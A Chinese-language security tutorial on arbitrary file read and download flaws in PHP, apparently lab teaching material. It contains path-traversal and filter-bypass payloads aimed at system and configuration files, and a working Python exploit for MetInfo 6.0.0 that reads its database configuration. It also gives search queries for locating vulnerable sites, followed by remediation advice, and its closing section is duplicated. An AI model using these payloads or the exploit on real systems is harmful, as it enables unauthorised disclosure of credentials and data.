任意文件读取
1. 概述
一些网站的需求,可能会提供文件查看与下载的功能。如果对用户查看或下载的文件没有限制或者限制绕过,就可以查看或下载任意文件。这些文件可以是漂代码文件,配置文件,敏感文件等等。
- 任意文件读取会造成(敏感)信息泄露:
- 任意文件读取大多数情况是由于其他漏洞引发的,如RCE、目录遍历、文件包含等。
- 任意文件读取与任意文件下载本质上没有区别,信总都是从服务瑞流向浏览器的。
任意文件读取与下载可能形式不同,但是从本质上讲读取与下载没有区别,从权限角度来讲,读取与下载都需要读权限。
1.1 漏洞成因
不管是任意文件读取还是任意文件下载,触发漏洞的条件都是相同的:
- 存在读取文件的功能(函数),也就是说,Web 应用开放了文件读取功能;
- 读取文件的路径客户端可控,完全控制或影响文件路径参数;
- 没有对文件路径进行校验或者校验不严导致校验被绕过;
- 输出了文件的内容。
1.2 漏洞危害
下载服务器任意文件,包括源代码文件、系统敏感文件、配置文件等等。
可以配合其他漏洞,构成完整攻击链。对源代码文件进行代码审计,查找更多的漏洞。任意文件读取与下载重点关注的文件:
- 源代码
- 配置文件
- 敏感文件
- 日志文件
- …
1.3 漏洞分类
- 任意文件读取
- 任意文件下载
1.4 任意文件读取
1.4.1 文件读取
读取文件的函数 | 函数特点 |
---|---|
readfile() | 直接读取文件内容 自带输出功能 |
file_get_contents() | 直接读取文件内容 需要输出读取内容 |
fread() | 打开文件 计算文件大小 读取文件 输出文件 关闭文件 |
readfile:
// readfile.php
$fp = "../phpinfo.php"; //路径,phpinfo.php文件的路径
readfile($fp); //读取这个路径下的文件
在phpstudy根目录下新建read_file文件夹,在文件夹中新建file_read.php文件。
文件内容为上述代码内容,保存成功后访问此文件。
http://192.168.16.136/read_file/file_read.php
访问结果为空白页。查看代码,发现读取到$fp路径下文件的内容,但是没有执行。
file_get_contents:
// file_get_contents.php
$fp = "../phpinfo.php";
echo file_get_contents($fp);
在read_file文件夹中新建file_get_contents.php文件。
文件内容为上述代码内容,保存成功后访问此文件。
http://192.168.16.136/read_file/file_get_contents.php
访问结果为空白页。查看代码,发现读取到$fp路径下文件的内容,但是没有执行。
fread:
// fread.php
$fp = "../phpinfo.php";
$f = fopen($fp,'r'); //读取文件前,先把$fp中保存的路径中的文件打开
$f_size = filesize($fp); //计算$fp这个路径下文件大小
echo fread($f, $f_size); //从打开的$f这个文件按照一定的大小去读
fclose($f); //读取完成后,关闭文件,否则浪费资源
在read_file文件夹中新建fread.php文件。
文件内容为上述代码内容,保存成功后访问此文件。
http://192.168.16.136/read_file/fread.php
访问结果为空白页。查看代码,发现读取到$fp路径下文件的内容,但是没有执行。
1.4.2 任意文件读取
变量$fp,会捕获GET 方式传递过来的filepath 参数。
$fp = @$_GET['filepath'];
<?php
//$fp = "../phpinfo.php"; //路径,phpinfo.php文件的路径
$fp = @$_GET['filepath']; //通过filepath这个参数传递数据给$fp
readfile($fp); //读取这个路径下的文件
?>
访问页面结果报错了,因为filepath参数为空,给filepath参数赋值filepath=…/phpinfo.php
发开F12,点击load输入参数,viwe-source:
表示其后所跟的url以代码的方式显现
view-source:http://192.168.16.136/read_file/file_read.php?filepath=../phpinfo.php
filepath 客户端可控,并且没有经过校验,会造成任意文件读取漏洞。
?filepath=index.php
?filepath=/etc/passwd
?filepath=c:\windows\system32\drivers\etc\hosts
?filepath=c:\phpstudy_2016\apache\conf\httpd.conf
?filepath=c:\phpstudy_2016\mysql\my.ini
?filepath=../../../../../../../../../../phpstudy_2016/www/phpinfo.php
?filePath=../../../../../../../../windows\system32\drivers\etc\hosts
?filePath=../../../../../../etc/hosts
1.4.3 一般情况下权限
Windows + IIS + ASP/ASPX 低权限
Windows + Apache +PHP 高权限
Windows + Java 绝对是高权限
Linux + Apache + PHP 低权限
Linux + Nginx + PHP 不一定(可能高可能低)
Linux + Java 绝对是高权限
1.5 任意文件下载
1.5.1 一般情况
直接下载:例如图片另存为。
a 标签下载:
<a href = './a.jpg'>IMG Download</a>
1.5.2 PHP实现
PHP 文件下载实现过程:
-
先读取文件
-
在输出文件
-
提供下载
// file-download.php
$fp = './a.jpg';
header('Content-Type:image/jpg');
header('Content-Disposition:attachment;fileName='.basename($fp));
readfile($fp);
1.5.3 任意文件下载
任意文件下载的条件:
-
已知目标文件路径
-
目标文件路径,客户端可控
-
没有经过校验或校验不严格
$fp = $_GET['filepath'];
2. 任意文件读取攻防
2.1 路径过滤
2.1.1 过滤…/
$fp = @$_GET['filepath'];
$fp = str_replace("../","",$fp);
readfile($fp);
<?php
//$fp = "../phpinfo.php"; //路径,phpinfo.php文件的路径
$fp = @$_GET['filepath'];
$fp = str_replace("../","",$fp); //将../替换为空
readfile($fp); //读取这个路径下的文件
?>
访问
view-source:http://192.168.16.136/read_file/file_read.php?filepath=....//phpinfo.php
结果报错了。
2.2 简单绕过
2.2.1 双写绕过
?filepath=..././..././..././..././..././windows\system32\drivers\etc\hosts
2.2.2 绝对路径
?filepath=c:/windows\system32\drivers\etc\hosts
2.2.3 使用…\
?filepath=..\..\..\..\..\windows\system32\drivers\etc\hosts
2.2.4 设置白名单
假如设置了a.php,b.php,c.php三个文件
<?php
//$fp = "../phpinfo.php"; //路径,phpinfo.php文件的路径
$fp = @$_GET['filepath'];
if($fp == 'a.php' or $fp == 'b.php' or $fp == 'c.php')
{
readfile($fp);
}
else
{
echo "Please stop!";
}
?>
3. 任意文件读取挖掘
3.1 手工挖掘
从文件名上看 | 从参数名上看 |
---|---|
readfile.php filedownload.php filelist.php | f= file= filepath= fp= readfile path= readpath url= menu= META-INF= WEB-INF= content= |
上述内容都可能存在任意文件读取
3.2 经典案例
metinfo_6.0.0_file-read
3.2.1 漏洞描述
MetInfo 是一套使用PHP 和MySQL 开发的内容管理系统。MetInfo 6.0.0 版本中的/app/system/include/module/old_thumb.class.php
文件存在任意文件读取漏洞。攻击者可利用漏洞读取网站上的敏感文件。
3.2.2 漏洞等级
高危
3.2.3 影响版本
- MetInfo 6.0.0
3.2.4 漏洞复现
3.2.4.1 基础环境
组件 | 版本 |
---|---|
OS | Microsoft Windows Server 2016 Standard |
Web Server | phpStudy 2016 |
MetInfo | 6.0.0 |
3.2.4.2 漏洞点
访问此链接
/include/thumb.php
http://192.168.16.136/metinfo_6.0.0/include/thumb.php
使用bp进行抓包,因为bp默认是不抓图片的,修改Filter添加images。
Ctrl+R将数据包发送至重发器。
第一次测试
/include/thumb.php?dir=..././http/..././config/config_db.php
读取数据库配置文件。
读取失败。
第二次测试
/include/thumb.php?dir=.....///http/.....///config/config_db.php
读取数据库配置文件。
读取失败
第三次测试
/include/thumb.php?dir=http/.....///.....///config/config_db.php
读取数据库配置文件。
读取失败
第四次测试
/include/thumb.php?dir=http\..\..\config\config_db.php
读取数据库配置文件。
读取成功
注意:
此poc仅适用于Windows系统,Linux系统无效
3.2.4.3 深度利用
EXP 编写
import requests
import sys
banner = """
MetInfo 6.0.0
___________.__.__ __________ .___
\_ _____/|__| | ____ \______ \ ____ _____ __| _/
| __) | | | _/ __ \ | _// __ \\__ \ / __ |
| \ | | |_\ ___/ | | \ ___/ / __ \_/ /_/ |
\___ / |__|____/\___ > |____|_ /\___ >____ /\____ |
\/ \/ \/ \/ \/ \/
- AJEST
Usage: python3 *.py http://192.168.16.136/metinfo_6.0.0
"""
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}
dir_list = [
"..././http/..././config/config_db.php",
".....///http/.....///config/config_db.php",
"http/.....///.....///config/config_db.php",
"http\..\..\config\config_db.php"
]
def attack(host):
vul = "/include/thumb.php"
url = host + vul
res = requests.get(url = url, headers = headers)
if res.status_code != 200:
print(f"[INFO] {vul} is Not Exists!")
exit()
print(f"[INFO] {vul} is Exists!")
for param in dir_list:
params = {
"dir": param
}
res = requests.get(url = url, params = params, headers = headers)
print(f"[INFO] Test URL: {res.url}")
if "<?php" in res.text:
print("[RESULT] The target is vulnreable!")
print(f"[RESULT]\n{res.text}")
break
if len(sys.argv) < 2:
print(banner)
exit()
host = sys.argv[1]
attack(host = host)
在kali中新建exp.py文件,将上述内容复制到exp.py文件中,在cms未退出的情况下运行exp.py文件。
sudo python3 *.py http://192.168.16.136/metinfo_6.0.0/
3.2.4.4 指纹信息
传统搜索引擎
Powered by MetInfo 6.0.0
intext:"Powered by MetInfo 6.0.0" inurl:"tw"
FOFA
app="metinfo"
ZoomEye
app:"MetInfo"
app:"MetInfo"+os:"Windows"
3.2.4.5 修补建议
- 打补丁
- 升级
- 上设备
4. 漏洞修复方案
4.1 输入输出
让web 用户只能访问(读取),所需要的文件和路径。(白名单)
4.2 避免其他漏洞
其他漏洞可能会引发任意文件读取漏洞
不能有文件包含漏洞,目录遍历漏洞或其他漏洞。
4.3 限定文件的访问范围
-
让用户不能访问Web 根目录以外的路径。
-
php.ini 配置文件中,可以通过选项open_basedir 来限定文件访问的范围
open_basedir = C:\phpStudy_20161103\WWW
php在执行任意文件读取的时候,限定访问范围发生在c盘下。
临时改变php.ini配置
ini_set("open_basedir","C:\phpStudy_20161103\WWW");
但是还是存在风险,其他文件都不成,但能读取自己。那么配置的所有信息就会暴露出来。
所以过滤,白名单和限定文件的防范要综合使用。
5. 参考链接
https://github.com/lijiejie/ds_store_exp https://blog.csdn.net/GitChat/article/details/79014538 https://www.secpulse.com/archives/124398.html https://github.com/kost/dvcs-ripper https://github.com/lijiejie/GitHack http://www.vuln.cn/2225 https://github.com/admintony/svnExploit https://www.freebuf.com/vuls/181698.html
临时改变php.ini配置
ini_set("open_basedir","C:\phpStudy_20161103\WWW");
但是还是存在风险,其他文件都不成,但能读取自己。那么配置的所有信息就会暴露出来。
所以过滤,白名单和限定文件的防范要综合使用。
5. 参考链接
https://github.com/lijiejie/ds_store_exp https://blog.csdn.net/GitChat/article/details/79014538 https://www.secpulse.com/archives/124398.html https://github.com/kost/dvcs-ripper https://github.com/lijiejie/GitHack http://www.vuln.cn/2225 https://github.com/admintony/svnExploit https://www.freebuf.com/vuls/181698.html